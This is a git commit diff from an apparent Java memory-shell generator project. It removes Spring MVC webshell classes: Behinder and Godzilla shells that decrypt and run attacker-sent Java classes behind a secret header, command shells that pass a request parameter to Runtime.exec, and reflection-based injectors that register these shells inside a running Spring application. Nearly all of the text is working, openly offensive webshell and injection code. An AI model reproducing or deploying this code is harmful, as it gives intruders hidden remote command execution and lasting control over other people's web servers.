feat: support spring webflux shell generate (resolved #6)

This commit is contained in:
ReaJason
2024-12-26 00:59:24 +08:00
parent cfa4bfdb1d
commit ee82fc102d
45 changed files with 1510 additions and 20 deletions
@@ -1,107 +0,0 @@
package com.reajason.javaweb.memshell.springmvc.behinder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class BehinderControllerHandler extends ClassLoader implements Controller {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderControllerHandler(ClassLoader c) {
super(c);
}
public BehinderControllerHandler() {
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
System.out.println(response.getClass().getName());
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -1,124 +0,0 @@
package com.reajason.javaweb.memshell.springmvc.behinder;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderInterceptor(ClassLoader c) {
super(c);
}
public BehinderInterceptor() {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} catch (Exception e) {
e.printStackTrace();
}
return false;
} else {
return true;
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
}
@@ -1,40 +0,0 @@
package com.reajason.javaweb.memshell.springmvc.command;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class CommandControllerHandler implements Controller {
public String paramName = "{{paramName}}";
public CommandControllerHandler() {
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
@@ -1,57 +0,0 @@
package com.reajason.javaweb.memshell.springmvc.command;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class CommandInterceptor implements AsyncHandlerInterceptor {
public String paramName = "{{paramName}}";
public CommandInterceptor() {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return false;
}
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
}
@@ -1,112 +0,0 @@
package com.reajason.javaweb.memshell.springmvc.godzilla;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class GodzillaControllerHandler extends ClassLoader implements Controller {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaControllerHandler() {
}
public GodzillaControllerHandler(ClassLoader parent) {
super(parent);
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaControllerHandler(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
}
return null;
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -1,132 +0,0 @@
package com.reajason.javaweb.memshell.springmvc.godzilla;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaInterceptor(ClassLoader c) {
super(c);
}
public GodzillaInterceptor() {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
return false;
}
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
}
@@ -1,204 +0,0 @@
package com.reajason.javaweb.memshell.springmvc.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringControllerHandlerInjector {
static {
new SpringControllerHandlerInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringControllerHandlerInjector() {
try {
Object context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext");
}
}
@SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
}
}
return context;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object controller) throws Exception {
Class<?> beanNameUrlHandlerMappingClass = null;
try {
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping");
} catch (ClassNotFoundException e) {
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.SimpleUrlHandlerMapping", false, context.getClass().getClassLoader());
}
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
if (handlerMap.get(getUrlPattern()) != null) {
System.out.println("controller already injected");
return;
}
handlerMap.put(getUrlPattern(), controller);
System.out.println("controller injected successfully");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
}
@@ -1,201 +0,0 @@
package com.reajason.javaweb.memshell.springmvc.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringInterceptorInjector {
static {
new SpringInterceptorInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringInterceptorInjector() {
try {
Object context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext");
}
}
@SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
}
}
return context;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object interceptor) throws Exception {
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
System.out.println(abstractHandlerMapping.getClass().getName());
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
for (Object adaptedInterceptor : adaptedInterceptors) {
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
System.out.println("interceptor already injected");
return;
}
}
adaptedInterceptors.add(interceptor);
System.out.println("interceptor injected successfully");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
}
@@ -137,7 +137,6 @@ public class TomcatServletInjector {
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings");
Collection<String> values = servletMappings.values();
for (String name : values) {
System.out.println(name);
if (name.equals(getClassName())) {
return true;
}